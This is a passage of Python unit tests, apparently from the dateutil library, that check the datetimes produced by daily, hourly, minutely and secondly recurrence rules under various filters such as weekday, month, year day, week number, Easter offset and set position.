testDailyByWeekDay(self): self.assertEqual(list(rrule(DAILY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testDailyByNWeekDay(self): self.assertEqual(list(rrule(DAILY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testDailyByMonthAndWeekDay(self): self.assertEqual(list(rrule(DAILY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 8, 9, 0)]) def testDailyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(DAILY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 8, 9, 0)]) def testDailyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(DAILY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 2, 3, 9, 0), datetime(1998, 3, 3, 9, 0)]) def testDailyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(DAILY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 3, 3, 9, 0), datetime(2001, 3, 1, 9, 0)]) def testDailyByYearDay(self): self.assertEqual(list(rrule(DAILY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testDailyByYearDayNeg(self): self.assertEqual(list(rrule(DAILY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testDailyByMonthAndYearDay(self): self.assertEqual(list(rrule(DAILY, count=4, bymonth=(1, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 1, 1, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testDailyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(DAILY, count=4, bymonth=(1, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 1, 1, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testDailyByWeekNo(self): self.assertEqual(list(rrule(DAILY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 9, 0), datetime(1998, 5, 12, 9, 0), datetime(1998, 5, 13, 9, 0)]) def testDailyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self.assertEqual(list(rrule(DAILY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 9, 0), datetime(1999, 1, 4, 9, 0), datetime(2000, 1, 3, 9, 0)]) def testDailyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self.assertEqual(list(rrule(DAILY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1998, 12, 27, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testDailyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(DAILY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1999, 1, 3, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testDailyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(DAILY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 9, 0), datetime(2004, 12, 27, 9, 0), datetime(2009, 12, 28, 9, 0)]) def testDailyByEaster(self): self.assertEqual(list(rrule(DAILY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 9, 0), datetime(1999, 4, 4, 9, 0), datetime(2000, 4, 23, 9, 0)]) def testDailyByEasterPos(self): self.assertEqual(list(rrule(DAILY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 9, 0), datetime(1999, 4, 5, 9, 0), datetime(2000, 4, 24, 9, 0)]) def testDailyByEasterNeg(self): self.assertEqual(list(rrule(DAILY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 9, 0), datetime(1999, 4, 3, 9, 0), datetime(2000, 4, 22, 9, 0)]) def testDailyByHour(self): self.assertEqual(list(rrule(DAILY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1997, 9, 3, 6, 0), datetime(1997, 9, 3, 18, 0)]) def testDailyByMinute(self): self.assertEqual(list(rrule(DAILY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6), datetime(1997, 9, 2, 9, 18), datetime(1997, 9, 3, 9, 6)]) def testDailyBySecond(self): self.assertEqual(list(rrule(DAILY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1997, 9, 3, 9, 0, 6)]) def testDailyByHourAndMinute(self): self.assertEqual(list(rrule(DAILY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6), datetime(1997, 9, 2, 18, 18), datetime(1997, 9, 3, 6, 6)]) def testDailyByHourAndSecond(self): self.assertEqual(list(rrule(DAILY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1997, 9, 3, 6, 0, 6)]) def testDailyByMinuteAndSecond(self): self.assertEqual(list(rrule(DAILY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testDailyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(DAILY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testDailyBySetPos(self): self.assertEqual(list(rrule(DAILY, count=3, byhour=(6, 18), byminute=(15, 45), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 15), datetime(1997, 9, 3, 6, 45), datetime(1997, 9, 3, 18, 15)]) def testHourly(self): self.assertEqual(list(rrule(HOURLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 10, 0), datetime(1997, 9, 2, 11, 0)]) def testHourlyInterval(self): self.assertEqual(list(rrule(HOURLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 11, 0), datetime(1997, 9, 2, 13, 0)]) def testHourlyIntervalLarge(self): self.assertEqual(list(rrule(HOURLY, count=3, interval=769, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 10, 4, 10, 0), datetime(1997, 11, 5, 11, 0)]) def testHourlyByMonth(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 1, 0), datetime(1998, 1, 1, 2, 0)]) def testHourlyByMonthDay(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 0, 0), datetime(1997, 9, 3, 1, 0), datetime(1997, 9, 3, 2, 0)]) def testHourlyByMonthAndMonthDay(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 0, 0), datetime(1998, 1, 5, 1, 0), datetime(1998, 1, 5, 2, 0)]) def testHourlyByWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 10, 0), datetime(1997, 9, 2, 11, 0)]) def testHourlyByNWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 10, 0), datetime(1997, 9, 2, 11, 0)]) def testHourlyByMonthAndWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 1, 0), datetime(1998, 1, 1, 2, 0)]) def testHourlyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 1, 0), datetime(1998, 1, 1, 2, 0)]) def testHourlyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 1, 0), datetime(1998, 1, 1, 2, 0)]) def testHourlyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 1, 0), datetime(1998, 1, 1, 2, 0)]) def testHourlyByYearDay(self): self.assertEqual(list(rrule(HOURLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 0, 0), datetime(1997, 12, 31, 1, 0), datetime(1997, 12, 31, 2, 0), datetime(1997, 12, 31, 3, 0)]) def testHourlyByYearDayNeg(self): self.assertEqual(list(rrule(HOURLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 0, 0), datetime(1997, 12, 31, 1, 0), datetime(1997, 12, 31, 2, 0), datetime(1997, 12, 31, 3, 0)]) def testHourlyByMonthAndYearDay(self): self.assertEqual(list(rrule(HOURLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 0, 0), datetime(1998, 4, 10, 1, 0), datetime(1998, 4, 10, 2, 0), datetime(1998, 4, 10, 3, 0)]) def testHourlyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(HOURLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 0, 0), datetime(1998, 4, 10, 1, 0), datetime(1998, 4, 10, 2, 0), datetime(1998, 4, 10, 3, 0)]) def testHourlyByWeekNo(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 0, 0), datetime(1998, 5, 11, 1, 0), datetime(1998, 5, 11, 2, 0)]) def testHourlyByWeekNoAndWeekDay(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 0, 0), datetime(1997, 12, 29, 1, 0), datetime(1997, 12, 29, 2, 0)]) def testHourlyByWeekNoAndWeekDayLarge(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 0, 0), datetime(1997, 12, 28, 1, 0), datetime(1997, 12, 28, 2, 0)]) def testHourlyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 0, 0), datetime(1997, 12, 28, 1, 0), datetime(1997, 12, 28, 2, 0)]) def testHourlyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(HOURLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 0, 0), datetime(1998, 12, 28, 1, 0), datetime(1998, 12, 28, 2, 0)]) def testHourlyByEaster(self): self.assertEqual(list(rrule(HOURLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 0, 0), datetime(1998, 4, 12, 1, 0), datetime(1998, 4, 12, 2, 0)]) def testHourlyByEasterPos(self): self.assertEqual(list(rrule(HOURLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 0, 0), datetime(1998, 4, 13, 1, 0), datetime(1998, 4, 13, 2, 0)]) def testHourlyByEasterNeg(self): self.assertEqual(list(rrule(HOURLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 0, 0), datetime(1998, 4, 11, 1, 0), datetime(1998, 4, 11, 2, 0)]) def testHourlyByHour(self): self.assertEqual(list(rrule(HOURLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1997, 9, 3, 6, 0), datetime(1997, 9, 3, 18, 0)]) def testHourlyByMinute(self): self.assertEqual(list(rrule(HOURLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6), datetime(1997, 9, 2, 9, 18), datetime(1997, 9, 2, 10, 6)]) def testHourlyBySecond(self): self.assertEqual(list(rrule(HOURLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1997, 9, 2, 10, 0, 6)]) def testHourlyByHourAndMinute(self): self.assertEqual(list(rrule(HOURLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6), datetime(1997, 9, 2, 18, 18), datetime(1997, 9, 3, 6, 6)]) def testHourlyByHourAndSecond(self): self.assertEqual(list(rrule(HOURLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1997, 9, 3, 6, 0, 6)]) def testHourlyByMinuteAndSecond(self): self.assertEqual(list(rrule(HOURLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testHourlyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(HOURLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testHourlyBySetPos(self): self.assertEqual(list(rrule(HOURLY, count=3, byminute=(15, 45), bysecond=(15, 45), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 15, 45), datetime(1997, 9, 2, 9, 45, 15), datetime(1997, 9, 2, 10, 15, 45)]) def testMinutely(self): self.assertEqual(list(rrule(MINUTELY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 9, 1), datetime(1997, 9, 2, 9, 2)]) def testMinutelyInterval(self): self.assertEqual(list(rrule(MINUTELY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 9, 2), datetime(1997, 9, 2, 9, 4)]) def testMinutelyIntervalLarge(self): self.assertEqual(list(rrule(MINUTELY, count=3, interval=1501, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 10, 1), datetime(1997, 9, 4, 11, 2)]) def testMinutelyByMonth(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 0, 1), datetime(1998, 1, 1, 0, 2)]) def testMinutelyByMonthDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 0, 0), datetime(1997, 9, 3, 0, 1), datetime(1997, 9, 3, 0, 2)]) def testMinutelyByMonthAndMonthDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 0, 0), datetime(1998, 1, 5, 0, 1), datetime(1998, 1, 5, 0, 2)]) def testMinutelyByWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 9, 1), datetime(1997, 9, 2, 9, 2)]) def testMinutelyByNWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 2, 9, 1), datetime(1997, 9, 2, 9, 2)]) def testMinutelyByMonthAndWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 0, 1), datetime(1998, 1, 1, 0, 2)]) def testMinutelyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 0, 1), datetime(1998, 1, 1, 0, 2)]) def testMinutelyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 0, 1), datetime(1998, 1, 1, 0, 2)]) def testMinutelyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0), datetime(1998, 1, 1, 0, 1), datetime(1998, 1, 1, 0, 2)]) def testMinutelyByYearDay(self): self.assertEqual(list(rrule(MINUTELY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 0, 0), datetime(1997, 12, 31, 0, 1), datetime(1997, 12, 31, 0, 2), datetime(1997, 12, 31, 0, 3)]) def testMinutelyByYearDayNeg(self): self.assertEqual(list(rrule(MINUTELY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 0, 0), datetime(1997, 12, 31, 0, 1), datetime(1997, 12, 31, 0, 2), datetime(1997, 12, 31, 0, 3)]) def testMinutelyByMonthAndYearDay(self): self.assertEqual(list(rrule(MINUTELY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 0, 0), datetime(1998, 4, 10, 0, 1), datetime(1998, 4, 10, 0, 2), datetime(1998, 4, 10, 0, 3)]) def testMinutelyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(MINUTELY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 0, 0), datetime(1998, 4, 10, 0, 1), datetime(1998, 4, 10, 0, 2), datetime(1998, 4, 10, 0, 3)]) def testMinutelyByWeekNo(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 0, 0), datetime(1998, 5, 11, 0, 1), datetime(1998, 5, 11, 0, 2)]) def testMinutelyByWeekNoAndWeekDay(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 0, 0), datetime(1997, 12, 29, 0, 1), datetime(1997, 12, 29, 0, 2)]) def testMinutelyByWeekNoAndWeekDayLarge(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 0, 0), datetime(1997, 12, 28, 0, 1), datetime(1997, 12, 28, 0, 2)]) def testMinutelyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 0, 0), datetime(1997, 12, 28, 0, 1), datetime(1997, 12, 28, 0, 2)]) def testMinutelyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(MINUTELY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 0, 0), datetime(1998, 12, 28, 0, 1), datetime(1998, 12, 28, 0, 2)]) def testMinutelyByEaster(self): self.assertEqual(list(rrule(MINUTELY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 0, 0), datetime(1998, 4, 12, 0, 1), datetime(1998, 4, 12, 0, 2)]) def testMinutelyByEasterPos(self): self.assertEqual(list(rrule(MINUTELY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 0, 0), datetime(1998, 4, 13, 0, 1), datetime(1998, 4, 13, 0, 2)]) def testMinutelyByEasterNeg(self): self.assertEqual(list(rrule(MINUTELY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 0, 0), datetime(1998, 4, 11, 0, 1), datetime(1998, 4, 11, 0, 2)]) def testMinutelyByHour(self): self.assertEqual(list(rrule(MINUTELY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1997, 9, 2, 18, 1), datetime(1997, 9, 2, 18, 2)]) def testMinutelyByMinute(self): self.assertEqual(list(rrule(MINUTELY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6), datetime(1997, 9, 2, 9, 18), datetime(1997, 9, 2, 10, 6)]) def testMinutelyBySecond(self): self.assertEqual(list(rrule(MINUTELY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1997, 9, 2, 9, 1, 6)]) def testMinutelyByHourAndMinute(self): self.assertEqual(list(rrule(MINUTELY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6), datetime(1997, 9, 2, 18, 18), datetime(1997, 9, 3, 6, 6)]) def testMinutelyByHourAndSecond(self): self.assertEqual(list(rrule(MINUTELY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1997, 9, 2, 18, 1, 6)]) def testMinutelyByMinuteAndSecond(self): self.assertEqual(list(rrule(MINUTELY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testMinutelyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(MINUTELY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testMinutelyBySetPos(self): self.assertEqual(list(rrule(MINUTELY, count=3, bysecond=(15, 30, 45), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 15), datetime(1997, 9, 2, 9, 0, 45), datetime(1997, 9, 2, 9, 1, 15)]) def testSecondly(self): self.assertEqual(list(rrule(SECONDLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 0), datetime(1997, 9, 2, 9, 0, 1), datetime(1997, 9, 2, 9, 0, 2)]) def testSecondlyInterval(self): self.assertEqual(list(rrule(SECONDLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 0), datetime(1997, 9, 2, 9, 0, 2), datetime(1997, 9, 2, 9, 0, 4)]) def testSecondlyIntervalLarge(self): self.assertEqual(list(rrule(SECONDLY, count=3, interval=90061, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 0), datetime(1997, 9, 3, 10, 1, 1), datetime(1997, 9, 4, 11, 2, 2)]) def testSecondlyByMonth(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0, 0), datetime(1998, 1, 1, 0, 0, 1), datetime(1998, 1, 1, 0, 0, 2)]) def testSecondlyByMonthDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 0, 0, 0), datetime(1997, 9, 3, 0, 0, 1), datetime(1997, 9, 3, 0, 0, 2)]) def testSecondlyByMonthAndMonthDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 0, 0, 0), datetime(1998, 1, 5, 0, 0, 1), datetime(1998, 1, 5, 0, 0, 2)]) def testSecondlyByWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 0), datetime(1997, 9, 2, 9, 0, 1), datetime(1997, 9, 2, 9, 0, 2)]) def testSecondlyByNWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 0), datetime(1997, 9, 2, 9, 0, 1), datetime(1997, 9, 2, 9, 0, 2)]) def testSecondlyByMonthAndWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0, 0), datetime(1998, 1, 1, 0, 0, 1), datetime(1998, 1, 1, 0, 0, 2)]) def testSecondlyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0, 0), datetime(1998, 1, 1, 0, 0, 1), datetime(1998, 1, 1, 0, 0, 2)]) def testSecondlyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(SECONDLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 0, 0, 0), datetime(1998, 1, 1, 0, 0, 1), 